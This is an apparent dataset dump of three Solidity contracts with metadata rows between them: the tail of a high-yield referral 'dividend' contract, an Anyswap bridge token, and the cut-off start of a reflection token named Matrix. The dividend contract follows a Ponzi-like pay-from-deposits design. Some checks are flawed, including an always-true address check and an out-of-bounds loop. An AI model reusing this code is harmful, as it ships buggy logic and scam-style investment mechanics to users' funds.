TotalDepositCount = TotalDepositCount.add(1);
TotalInvested = TotalInvested.add(TransferValue);
emit NewDeposit(msg.sender, TransferValue);
}
function WithdrawCommissions() public {
User storage user = users[msg.sender];
uint256 contractBalance = address(this).balance;
uint256 toSend;
uint256 RefCommissions;
uint256 LeftCommissions;
require(user.availablecommisions > 0, "No commissions available");
require(((now.sub(user.WithdrawComTime)).div(RefComDay)) > 0 || user.WithdrawComTime == 0, "48 Hours not passed");
RefCommissions = user.availablecommisions;
if(user.availablecommisions > WithdrawalCommissionsRule){
RefCommissions = WithdrawalCommissionsRule;
LeftCommissions = user.availablecommisions.sub(WithdrawalCommissionsRule);
}
if (contractBalance < RefCommissions) {
toSend = contractBalance;
user.availablecommisions = RefCommissions.sub(toSend);
}else{
toSend = RefCommissions;
user.availablecommisions = LeftCommissions;
}
user.WithdrawComTime = block.timestamp;
msg.sender.transfer(toSend);
TotalWithdrawn = TotalWithdrawn.add(toSend);
emit Withdrawal(msg.sender, toSend);
}
function WithdrawDividends() public {
User storage user = users[msg.sender];
require(((now.sub(user.WithdrawDivTime)).div(Day)) > 0 || user.WithdrawDivTime == 0, "24 Hours not passed");
require(user.commissions.length > 0, "You need atleast 1 referral");
uint256 userPercentRate = ContractBonus.add(GetHoldBonus(msg.sender)).add(GetRefBonus(msg.sender)).add(GetActiveBonus(msg.sender));
uint256 toSend;
uint256 dividends;
uint256 ActiveBonus;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(Day);
ActiveBonus = ActiveBonus.add(1);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
.mul(block.timestamp.sub(user.checkpoint))
.div(Day);
ActiveBonus = ActiveBonus.add(1);
}
if (user.deposits[i].withdrawn.add(dividends) >= ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
dividends = (((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))).sub(user.deposits[i].withdrawn);
ActiveBonus = 0;
}
if(user.totalinvested < WithdrawalDividendsRuleOneMax){
if(toSend <= WithdrawalDividendsRuleOne){
if(toSend.add(dividends) >= WithdrawalDividendsRuleOne){
uint256 Overkill = toSend.add(dividends).sub(WithdrawalDividendsRuleOne);
dividends = dividends.sub(Overkill);
}
} else break;
}
if(user.totalinvested > WithdrawalDividendsRuleOneMax && user.totalinvested < WithdrawalDividendsRuleTwoMax){
if(toSend <= WithdrawalDividendsRuleTwo){
if(toSend.add(dividends) >= WithdrawalDividendsRuleTwo){
uint256 Overkill = toSend.add(dividends).sub(WithdrawalDividendsRuleTwo);
dividends = dividends.sub(Overkill);
}
} else break;
}
if(user.totalinvested > WithdrawalDividendsRuleTwoMax){
if(toSend <= WithdrawalDividendsRuleThree){
if(toSend.add(dividends) >= WithdrawalDividendsRuleThree){
uint256 Overkill = toSend.add(dividends).sub(WithdrawalDividendsRuleThree);
dividends = dividends.sub(Overkill);
}
} else break;
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends);
toSend = toSend.add(dividends);
}
}
require(toSend > 0, "No dividends available");
uint256 contractBalance = address(this).balance;
if (contractBalance < toSend) {
toSend = contractBalance;
}
user.checkpoint = block.timestamp;
if(ActiveBonus != 0){
user.ActiveBonus = 1;
}
user.WithdrawDivTime = block.timestamp;
msg.sender.transfer(toSend);
TotalWithdrawn = TotalWithdrawn.add(toSend);
user.totalwithdrawn = user.totalwithdrawn.add(toSend);
emit Withdrawal(msg.sender, toSend);
}
function GetUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = ContractBonus.add(GetHoldBonus(msg.sender)).add(GetRefBonus(msg.sender)).add(GetActiveBonus(msg.sender));
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(Day);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
.mul(block.timestamp.sub(user.checkpoint))
.div(Day);
}
if (user.deposits[i].withdrawn.add(dividends) > ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
dividends = ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
}
}
return totalDividends;
}
function ActiveClient(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < ((user.deposits[user.deposits.length-1].amount.mul(ROICap)).div(PercentDiv))) {
return true;
}
}
}
function GetHoldBonus(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
if (user.checkpoint > 0) {
uint256 timeMultiplier = ((now.sub(user.checkpoint)).div(HoldDay)).mul(50);
if(timeMultiplier > HoldBonusCap){
timeMultiplier = HoldBonusCap;
}
return timeMultiplier;
}else{
return 0;
}
}
function GetActiveBonus(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
if (user.ActiveBonus == 0) {
uint256 ActiveBonus = TotalInvestors.mul(400).div(PercentDiv);
return ActiveBonus;
}else{
return 0;
}
}
function GetRefBonus(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 bonus = 0;
uint256 commissionsTotal = user.lvlonecommisions.mul(PercentDiv).div(ReferralCommissions[0]);
if (commissionsTotal >= ReferralBonusRewards[0] && commissionsTotal <= ReferralBonusRewards[1]) {
bonus = 5;
} else if (commissionsTotal >= ReferralBonusRewards[1] && commissionsTotal <= ReferralBonusRewards[2]) {
bonus = 10;
} else if (commissionsTotal >= ReferralBonusRewards[2] && commissionsTotal <= ReferralBonusRewards[3]) {
bonus = 50;
} else if (commissionsTotal >= ReferralBonusRewards[3] && commissionsTotal <= ReferralBonusRewards[4]) {
bonus = 75;
} else if (commissionsTotal >= ReferralBonusRewards[4]) {
bonus = 100;
}
return bonus;
}
function FinishRefPool() public {
require(Locked == 0);
require(RefPool >= RefPoolGoal);
Locked = 1;
for(uint256 i = 0; i < ReferralPoolPercents.length; i++) {
if(topRefPool[i] == address(0)) break;
topRefPool[i].transfer(RefPool.mul(ReferralPoolPercents[i]).div(PercentDiv));
emit RefPoolPrize(topRefPool[i], RefPool.mul(ReferralPoolPercents[i]).div(PercentDiv), i);
}
for(uint256 i = 0; i < ReferralPoolPercents.length; i++) {
topRefPool[i] = address(0);
}
RefPool = 0;
RefPoolID = RefPoolID.add(1);
Locked = 0;
}
function elaborateRefPool(address payable addr, uint256 currentValue) private {
RefPoolSum[RefPoolID][addr] += currentValue;
for(uint256 i = 0; i < ReferralPoolPercents.length; i++) {
if(topRefPool[i] == addr) break;
if(topRefPool[i] == address(0)) {
topRefPool[i] = addr;
break;
}
if(RefPoolSum[RefPoolID][addr] > RefPoolSum[RefPoolID][topRefPool[i]]) {
for(uint256 j = i + 1; j < ReferralPoolPercents.length; j++) {
if(topRefPool[j] == addr) {
for(uint256 k = j; k <= ReferralPoolPercents.length; k++) {
topRefPool[k] = topRefPool[k + 1];
}
break;
}
}
for(uint256 j = uint256(ReferralPoolPercents.length - 1); j > i; j--) {
topRefPool[j] = topRefPool[j - 1];
}
topRefPool[i] = addr;
break;
}
}
}
function GetTotalCommission(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
return (user.commissions.length);
}
function GetUserCommission(address userAddress, uint256 index) public view returns(address, uint256, uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.commissions[index].Downline, user.commissions[index].Earned, user.commissions[index].Invested, user.commissions[index].Level, user.commissions[index].DepositTime);
}
function GetUserData(address userAddress) public view returns(address, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.upline, user.totalinvested, user.totalwithdrawn, user.totalcommisions, user.lvlonecommisions, user.availablecommisions, user.checkpoint, user.WithdrawDivTime, user.WithdrawComTime, user.ActiveBonus);
}
function GetUserTotalDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function GetUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function GetContractBalance() public view returns (uint256) {
return address(this).balance;
}
function RefPoolTopAddr(uint256 index) public view returns (address) {
return topRefPool[index];
}
function RefPoolTopValue(uint256 index) public view returns (uint256) {
return RefPoolSum[RefPoolID][topRefPool[index]];
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 293,263 | 12,769 |
a7cd8fbae4393fd9cbf862f13e2bdf95cb95470407b5cb17e704ef71d55edcd9
| 24,450 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/c7/c763f8570a48c4c00c80b76107cbe744dda67b79_AnyswapV6ERC20.sol
| 5,050 | 19,376 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 96,571 | 12,770 |
bade73782a206f5171f22355dcd7ba3718e18fd2bccbd87912e3dfe4c02304f8
| 18,822 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/2e/2e8A11EA1a95E89667C1e623C178aa16b5FDB95D_Matrix.sol
| 4,180 | 15,792 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Matrix is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'Matrix';
string private _symbol = 'Matrix';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
